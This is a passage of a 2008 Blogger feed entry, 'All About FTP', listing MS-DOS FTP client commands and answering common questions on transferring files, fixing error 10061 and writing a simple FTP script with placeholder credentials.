style="font-weight: bold;"&gt;abor&lt;/span&gt;     Abort Transfer&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;append&lt;/span&gt;     Append text to a local file.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;ascii&lt;/span&gt;     Switch to ASCII transfer mode&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;bell&lt;/span&gt;     Turns bell mode on / off.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;binary&lt;/span&gt;     Switches to binary transfer mode.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;bye&lt;/span&gt;     Exits from FTP.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;cd &lt;/span&gt;    Changes directory.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;cdup&lt;/span&gt;     Change to parent directory on remote system&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;close&lt;/span&gt;     Exits from FTP.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;cwd&lt;/span&gt;     Change working directory on remote system&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;dele &lt;/span&gt;    Delete file on remote system&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;delete&lt;/span&gt;    Deletes a file.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;debug&lt;/span&gt;     Sets debugging on / off.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;dir&lt;/span&gt;     Lists files if connected.&lt;br /&gt;&lt;br /&gt;   dir -C = Will list the files in wide format.&lt;br /&gt;   dir -1 = Lists the files in bare format in alphabetic order&lt;br /&gt;   dir -r&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;= Lists directory in reverse alphabetic order.&lt;br /&gt;   dir -R = Lists all files in current directory and sub directories.&lt;br /&gt;   dir -S = Lists files in bare format in alphabetic order.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;disconnect&lt;/span&gt;     Exits from FTP.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;get&lt;/span&gt;     Get file from the computer connected to.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;glob&lt;/span&gt;     Sets globbing on / off.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;hash&lt;/span&gt;     Sets hash mark printing on / off&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;help&lt;/span&gt;     Access the Help screen and displays information about command if command typed after help.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;lcd&lt;/span&gt;     Displays local directory or if path typed after lcd will change local directory.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;list&lt;/span&gt;     Send a list of file names in the current directory on the remote system on the data connection.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;literal&lt;/span&gt;     Sends command line&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;ls&lt;/span&gt;     Lists files if connected.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;mdelete&lt;/span&gt;     Multiple delete&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;mdir&lt;/span&gt;     Lists contents of multiple remote directories&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;mget&lt;/span&gt;     Get multiple files&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;mkd&lt;/span&gt;     Make directory.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;mkdir &lt;/span&gt;    Make directory.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;mls &lt;/span&gt;    Lists contents of multiple remote directories.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;mode&lt;/span&gt;     Specifies the transfer mode. Available parameters are generally S, B or C.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;mput&lt;/span&gt;     Sent multiple files&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;nlst&lt;/span&gt;     Send a full directory listing of the current directory on the remote system on the data connection.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;open&lt;/span&gt;     Opens address.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;pass&lt;/span&gt;     Supplies a user password.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;port&lt;/span&gt;     Specify the client port number.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;prompt &lt;/span&gt;    Enables/disables prompt.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;put&lt;/span&gt;     Send one file&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;pwd&lt;/span&gt;     Print working directory&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;quit&lt;/span&gt;     Exits from FTP.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;quote&lt;/span&gt;     Send arbitrary ftp command&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;recv &lt;/span&gt;    Receive file&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;retr&lt;/span&gt;     Get file from remote system.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;remotehelp&lt;/span&gt;     Get help from remote server&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;rename&lt;/span&gt;     Renames a file&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;rmdir&lt;/span&gt;     Removes a directory&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;send&lt;/span&gt;     Send single file&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;status&lt;/span&gt;     Shows status of currently enabled / disabled options&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;trace &lt;/span&gt;    Toggles packet tracing&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;type&lt;/span&gt;     Set file transfer type&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;user &lt;/span&gt;    Send new user information&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;verbose&lt;/span&gt;     Sets verbose on / off.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;TECHNICAL SUPPORT&lt;/span&gt;   &lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(51, 102, 255);"&gt;How do I send and receive files once connected in MS-DOS FTP?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;To get files from the server and place them in your current working directory, on the machine you are working, type:&lt;br /&gt;&lt;br /&gt;get myfile.htm&lt;br /&gt;&lt;br /&gt;Where myfile.htm is the name of the file you wish to get from the computer connected to.&lt;br /&gt;&lt;br /&gt;To send a file from your computer to the computer you are connected to (providing you have proper rights and the file exists in the current working directory), type:&lt;br /&gt;&lt;br /&gt;send myfile.htm&lt;br /&gt;&lt;br /&gt;Where myfile.htm is the name of the file that exists in the current directory; if you cannot recall the name of the file, use the ! command to temporally get back to a MS-DOS prompt; once you have located the file name, type exit to get back to the location you left in FTP.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(51, 102, 255);"&gt;In MS-DOS FTP I am only able to send files in the directory that I typed FTP in.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Set the LCD, for example, if you want to send files that are in the C:\Windows directory, type:&lt;br /&gt;&lt;br /&gt;LCD c:\windows&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(51, 102, 255);"&gt;How do I download multiple files from an FTP server?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Use the mget command, which is short for multiple get. Using the mget command you can get multiple files by using wildcards. For example, " mget *.* " would get all files in the current directory.&lt;br /&gt;&lt;br /&gt;By default, prompting would be enabled; if you wish to get all files without being prompted, use the "prompt" command to disable/enable prompting.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(51, 102, 255);"&gt;When attempting to connect to an FTP address, receiving "10061" error&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This error is caused when the server is refusing the connection.&lt;br /&gt;&lt;br /&gt;Attempt to connect to an alternate FTP address.&lt;br /&gt;&lt;br /&gt;If you are able to connect to other FTP addresses, it is likely the site generating the error 10061 is refusing to accept your connection because of security privileges or because it is not an FTP server.&lt;br /&gt;&lt;br /&gt;If you are unable to connect to any address, it is likely an issue with the network or computer configuration.&lt;br /&gt;&lt;br /&gt;  1. Ensure that the network configuration settings are properly setup as well as FTP rights.&lt;br /&gt;  2. Verify that the firewall is properly setup to accept FTP access.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(51, 102, 255);"&gt;How to create a Windows FTP script&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Create a text document with commands used when in FTP. Below is an example of what such a script may look like:&lt;br /&gt;&lt;br /&gt;open ftp.domain.com&lt;br /&gt;username&lt;br /&gt;password&lt;br /&gt;cd public_html&lt;br /&gt;dir&lt;br /&gt;get file.txt&lt;br /&gt;bye&lt;br /&gt;&lt;br /&gt;The above script will log into the ftp site ftp.domain.com. Once connected, it will enter the username and then the password (substitute username for your username and password for your password). Once logged in, the script then goes into the public_html directory, gets a directory listing and then uses the get command to get the file called file.txt. Once the file is received, it logs off using the bye command.&lt;br /&gt;&lt;br /&gt;Once the script file has been created, for example, if it was called script.txt, to execute this script with ftp you would type:&lt;br /&gt;&lt;br /&gt;ftp -s:script.txt&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;credits:-unknown&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-3806282928164972601?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/3806282928164972601/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=3806282928164972601' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/3806282928164972601'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/3806282928164972601'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2008/10/all-about-ftp.html' title='All About FTP'/><author><name>Ankit Agarwal</name><uri>http://www.blogger.com/profile/04026923538267657452</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
